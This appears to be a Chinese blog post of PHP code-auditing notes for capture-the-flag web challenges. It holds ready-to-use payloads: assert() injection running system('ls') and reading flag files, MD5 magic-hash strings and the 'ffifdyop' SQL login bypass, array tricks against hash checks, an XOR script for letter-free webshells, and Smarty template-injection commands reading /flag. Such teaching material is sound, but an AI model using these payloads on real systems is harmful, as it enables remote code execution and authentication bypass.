php代码审计

发布时间 2024-01-07 17:23:53作者: P1ggy

代码审计覆盖面特别广,分类也很多,而且几乎什么样的比赛都会有,算是比较重要的题目类型之一吧。

姿势:具体问题具体分析,归根结底还是要熟练掌握PHP这门语言,了解一些常见的会造成漏洞的函数及利用方法等。

assert()函数会将读入的代码当做PHP代码来执行,这就方便了!!
进行注入,注入的思路:

  • 首先对strpos函数进行闭合,构造一下,page=’)

  • 可以把后面', '..') === false的给注释掉,构造page=').phpinfo();//,可以得到回显

  • 或者不注释也行,直接插入,构造page='.phpinfo().',也可以看见:

  • 既然可以执行函数,那就简单了,使用system()函数(system函数详解),构造查看目录的payload:?page='.system("ls").'或者page=').system("ls");//前者直接显示,后者在源码中才能看见。

  • 由于源码直接下载有,所以直接构造得到flag的payload:?page=').system("cat templates/flag.php");//或者?page='.system("cat templates/flag.php").'两者都需查看源码!!

HP弱类型hash比较

这是代码审计最基础的题目了,也比较常见。

典型代码:

if(md5($a) == md5($b)) {    //注意两个等号“==”
    echo $flag;
    }

加密函数也有可能是sha1或者其他的,但是原理都是不变的。

这个漏洞的原理如下:

== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较。
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

所以只要让a和b在经过相应的函数加密之后都是以0e开头就可以。

以下是一些md5加密后开头为0e的字符串:

QNKCDZO
0e830400451993494058024219903391
 
s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514
 
aabg7XSs


还有一个十分特殊的字符串
0e215962017它MD5以后还0e开头

还有一个字符串使用另个一个地方和sql有关ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c 转成字符串为'or'6�]��!r,��b
可以利用这个越过一些登入

数组返回NULL绕过
PHP绝大多数函数无法处理数组,向md5函数传入数组类型的参数会使md5()函数返回NULL(转换后为False),进而绕过某些限制。

如果上面的代码变成:

if(md5($ a) === md5($ b)) {       //两个等号变成三个
    echo $flag;
}

那么利用弱类型hash比较缺陷将无法绕过,这时可以使用数组绕过。
使用kekeyy数组进行绕过,md5函数无法处理数组,这样就会返回两个NULL,而两个NULL的md5值是一样的,但是传入的key值可以不同。

http://114.67.246.176:13080/?kekeyy1[]=aaa&kekeyy2[]=bb

传入?a[]=1&b[]=2就可以成功绕过判断。

这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断,可以根据具体情况来灵活运用。

科学计数法绕过

遇到这种(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)类似的
可以用1e9之类的来绕过这是用科学计数法来搞

extract()函数存在变量覆盖漏洞

遇到这种

可以直接用?shiyan=&flag=得到flag

正则表达式相关

ereg正则%00截断
ereg函数存在NULL截断漏洞,使用NULL可以截断过滤,所以可以使用%00截断正则匹配。

Bugku ereg正则%00截断

数组绕过

正则表达式相关的函数也可以使用数组绕过过滤,绕过方法详见数组返回NULL绕过。

上面那道题也可以用数组绕过。

单引号绕过preg_match()正则匹配

在每一个字符前加上单引号可以绕过preg_match的匹配,原理暂时不明。

例如有如下代码:

<?php
    $p = $_GET['p'];
    if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {
        echo 'False';
    } else {
        $pp = trim(base64_decode($p));
        if ($pp === 'flag.php') {
            echo 'success';
        }
    }
?>

不含数字与字母的WebShell
如果题目使用preg_match()过滤掉了所有的数字和字母,但是没有过滤PHP的变量符号$,可以考虑使用这种方法。

典型代码:

<?php 
 
include'flag.php'; 
 
if(isset($_GET['code'])){ 
   $code=$_GET['code']; 
   if(strlen($code)>50){ 
       die("Too Long."); 
  } 
   if(preg_match("/[A-Za-z0-9_]+/",$code)){ 
       die("Not Allowed."); 
  } 
   @eval($code); 
}else{ 
   highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; ?>

这种方法的核心是字符串的异或操作。

爆破脚本:

chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
 
for i in chr1 :
    for j in chr2 :
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))

根据题目的要求,用异或出来的字符串拼出合适的Payload,并放在PHP变量中执行。变量名可以用中文。

bugku 聪明的php

  1. 常用payload
    smary中的{if}标签中可以执行的php语句
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
  1. passthru()函数
    (PHP 4, PHP 5, PHP 7, PHP 8)
    passthru — 执行外部程序并且显示原始输出

语法:

 passthru(string $command, int &$return_var = ?): void

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

  1. cat绕过**
    可以使用其他函数如:lessmoretac

eval和echo

![[Pasted image 20231226150527.png]]